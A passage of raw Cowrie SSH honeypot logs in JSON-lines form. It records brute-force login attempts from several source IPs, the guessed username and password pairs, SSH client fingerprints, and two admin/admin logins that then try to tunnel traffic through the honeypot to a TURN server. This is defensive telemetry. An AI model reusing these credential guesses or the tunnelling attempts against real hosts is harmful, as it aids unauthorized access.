05@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:18:25.844418Z","src_ip":"103.189.208.13","session":"7d654e6be07d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dcadmin","password":"dcadmin12345","message":"login attempt [dcadmin/dcadmin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:18:26.911553Z","src_ip":"103.189.208.13","session":"7d654e6be07d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:18:28.172444Z","src_ip":"103.189.208.13","session":"7d654e6be07d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":55224,"dst_ip":"159.203.135.109","dst_port":22,"session":"36230a0fe1a3","protocol":"ssh","message":"New connection: 190.242.109.42:55224 (159.203.135.109:22) [session: 36230a0fe1a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:18:43.816503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:18:43.820803Z","src_ip":"190.242.109.42","session":"36230a0fe1a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:18:43.910455Z","src_ip":"190.242.109.42","session":"36230a0fe1a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"r","message":"login attempt [ubuntu/r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:18:44.298274Z","src_ip":"190.242.109.42","session":"36230a0fe1a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:18:45.390133Z","src_ip":"190.242.109.42","session":"36230a0fe1a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":56390,"dst_ip":"10.17.0.5","dst_port":22,"session":"73ac5688a75f","protocol":"ssh","message":"New connection: 152.244.206.148:56390 (10.17.0.5:22) [session: 73ac5688a75f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:15.165294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:15.170818Z","src_ip":"152.244.206.148","session":"73ac5688a75f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:15.308026Z","src_ip":"152.244.206.148","session":"73ac5688a75f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian2024","message":"login attempt [debian/debian2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:15.895866Z","src_ip":"152.244.206.148","session":"73ac5688a75f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:17.037527Z","src_ip":"152.244.206.148","session":"73ac5688a75f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":43312,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2b8a11775f1","protocol":"ssh","message":"New connection: 103.189.208.13:43312 (159.203.135.109:22) [session: b2b8a11775f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:23.952166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:23.956817Z","src_ip":"103.189.208.13","session":"b2b8a11775f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:24.205358Z","src_ip":"103.189.208.13","session":"b2b8a11775f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"12345","message":"login attempt [deployer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:25.231709Z","src_ip":"103.189.208.13","session":"b2b8a11775f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:26.483761Z","src_ip":"103.189.208.13","session":"b2b8a11775f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":45876,"dst_ip":"159.203.135.109","dst_port":22,"session":"d31d5f11b584","protocol":"ssh","message":"New connection: 190.242.109.42:45876 (159.203.135.109:22) [session: d31d5f11b584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:50.025891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:50.031379Z","src_ip":"190.242.109.42","session":"d31d5f11b584","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:50.134592Z","src_ip":"190.242.109.42","session":"d31d5f11b584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"321dsa","message":"login attempt [ubuntu/321dsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:50.571828Z","src_ip":"190.242.109.42","session":"d31d5f11b584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:51.678721Z","src_ip":"190.242.109.42","session":"d31d5f11b584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":35938,"dst_ip":"159.203.135.109","dst_port":22,"session":"6829dcd5651b","protocol":"ssh","message":"New connection: 45.148.10.121:35938 (159.203.135.109:22) [session: 6829dcd5651b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:53.829169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:53.847207Z","src_ip":"45.148.10.121","session":"6829dcd5651b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:53.911346Z","src_ip":"45.148.10.121","session":"6829dcd5651b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:54.231826Z","src_ip":"45.148.10.121","session":"6829dcd5651b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:54.315129Z","session":"6829dcd5651b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:54.396140Z","src_ip":"45.148.10.121","session":"6829dcd5651b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:54.399579Z","src_ip":"45.148.10.121","session":"6829dcd5651b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:54.481867Z","src_ip":"45.148.10.121","session":"6829dcd5651b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":35954,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ce4bd862773","protocol":"ssh","message":"New connection: 45.148.10.121:35954 (159.203.135.109:22) [session: 5ce4bd862773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:54.558125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:54.563687Z","src_ip":"45.148.10.121","session":"5ce4bd862773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:54.646765Z","src_ip":"45.148.10.121","session":"5ce4bd862773","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:54.887697Z","src_ip":"45.148.10.121","session":"5ce4bd862773","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:54.969548Z","session":"5ce4bd862773","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:55.050582Z","src_ip":"45.148.10.121","session":"5ce4bd862773","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:55.053966Z","src_ip":"45.148.10.121","session":"5ce4bd862773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:19:55.189516Z","src_ip":"45.148.10.121","session":"5ce4bd862773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":47106,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4ace41246e3","protocol":"ssh","message":"New connection: 103.189.208.13:47106 (159.203.135.109:22) [session: c4ace41246e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:20:21.266037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:20:21.270835Z","src_ip":"103.189.208.13","session":"c4ace41246e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:20:21.525011Z","src_ip":"103.189.208.13","session":"c4ace41246e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"p@55w0rd","message":"login attempt [user/p@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:20:22.573178Z","src_ip":"103.189.208.13","session":"c4ace41246e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:20:23.830475Z","src_ip":"103.189.208.13","session":"c4ace41246e3","protocol":"ssh"}
